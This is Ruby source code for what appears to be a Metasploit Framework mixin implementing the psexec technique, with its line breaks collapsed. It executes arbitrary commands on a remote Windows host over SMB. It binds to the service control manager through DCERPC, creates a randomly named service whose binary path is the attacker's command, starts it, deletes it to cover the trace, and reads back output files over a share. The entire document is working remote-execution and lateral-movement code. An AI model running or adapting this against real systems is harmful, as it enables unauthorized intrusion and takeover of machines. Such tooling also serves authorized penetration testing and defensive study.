# -*- coding: binary -*- require 'msf/core' require 'msf/core/exploit/dcerpc' module Msf #### # Allows for reuse of the psexec code execution technique # # This code was stolen straight out of the psexec module. Thanks very # much for all who contributed to that module!! Instead of uploading # and runing a binary. #### module Exploit::Remote::SMB::Psexec include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB::Authenticated # Retrives output from the executed command # # @param smbshare [String] The SMBshare to connect to. Usually C$ # @param host [String] Remote host to connect to, as an IP address or # hostname # @param file [String] Path to the output file relative to the smbshare # Example: '\WINDOWS\Temp\outputfile.txt' # @return [String,nil] output or nil on failure def smb_read_file(smbshare, host, file) begin simple.connect("\\\\#{host}\\#{smbshare}") file = simple.open(file, 'ro') contents = file.read file.close simple.disconnect("\\\\#{host}\\#{smbshare}") return contents rescue Rex::Proto::SMB::Exceptions::ErrorCode => e print_error("#{peer} - Unable to read file #{file}. #{e.class}: #{e}.") return nil end end # Executes a single windows command. # # If you want to retrieve the output of your command you'll have to # echo it to a .txt file and then use the {#smb_read_file} method to # retrieve it. Make sure to remove the files manually or use # {Exploit::FileDropper#register_files_for_cleanup} to have the # {Exploit::FileDropper#cleanup} and # {Exploit::FileDropper#on_new_session} handlers do it for you. # # @todo Figure out the actual exceptions this needs to deal with # instead of all the ghetto "rescue ::Exception" madness # @param command [String] Should be a valid windows command # @return [Boolean] Whether everything went well def psexec(command) simple.connect("\\\\#{datastore['RHOST']}\\IPC$") handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) vprint_status("#{peer} - Binding to #{handle} ...") dcerpc_bind(handle) vprint_status("#{peer} - Bound to #{handle} ...") vprint_status("#{peer} - Obtaining a service manager handle...") scm_handle = nil stubdata = NDR.uwstring("\\\\#{rhost}") + NDR.long(0) + NDR.long(0xF003F) begin response = dcerpc.call(0x0f, stubdata) if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil scm_handle = dcerpc.last_response.stub_data[0,20] end rescue ::Exception => e print_error("#{peer} - Error: #{e}") return false end servicename = Rex::Text.rand_text_alpha(11) displayname = Rex::Text.rand_text_alpha(16) holdhandle = scm_handle svc_handle = nil svc_status = nil stubdata = scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) + NDR.long(0x0F01FF) + # Access: MAX NDR.long(0x00000110) + # Type: Interactive, Own process NDR.long(0x00000003) + # Start: Demand NDR.long(0x00000000) + # Errors: Ignore NDR.wstring( command ) + NDR.long(0) + # LoadOrderGroup NDR.long(0) + # Dependencies NDR.long(0) + # Service Start NDR.long(0) + # Password NDR.long(0) + # Password NDR.long(0) + # Password NDR.long(0) # Password begin vprint_status("#{peer} - Creating the service...") response = dcerpc.call(0x0c, stubdata) if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil svc_handle = dcerpc.last_response.stub_data[0,20] svc_status = dcerpc.last_response.stub_data[24,4] end rescue ::Exception => e print_error("#{peer} - Error: #{e}") return false end vprint_status("#{peer} - Closing service handle...") begin response = dcerpc.call(0x0, svc_handle) rescue ::Exception end vprint_status("#{peer} - Opening service...") begin stubdata = scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF) response = dcerpc.call(0x10, stubdata) if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil svc_handle = dcerpc.last_response.stub_data[0,20] end rescue ::Exception => e print_error("#{peer} - Error: #{e}") return false end vprint_status("#{peer} - Starting the service...") stubdata = svc_handle + NDR.long(0) + NDR.long(0) begin response = dcerpc.call(0x13, stubdata) if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil end rescue ::Exception => e print_error("#{peer} - Error: #{e}") return false end vprint_status("#{peer} - Removing the service...") stubdata = svc_handle begin response = dcerpc.call(0x02, stubdata) if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil end rescue ::Exception => e print_error("#{peer} - Error: #{e}") end vprint_status("#{peer} - Closing service handle...") begin response = dcerpc.call(0x0, svc_handle) rescue ::Exception => e print_error("#{peer} - Error: #{e}") end select(nil, nil, nil, 1.0) simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") return true end end end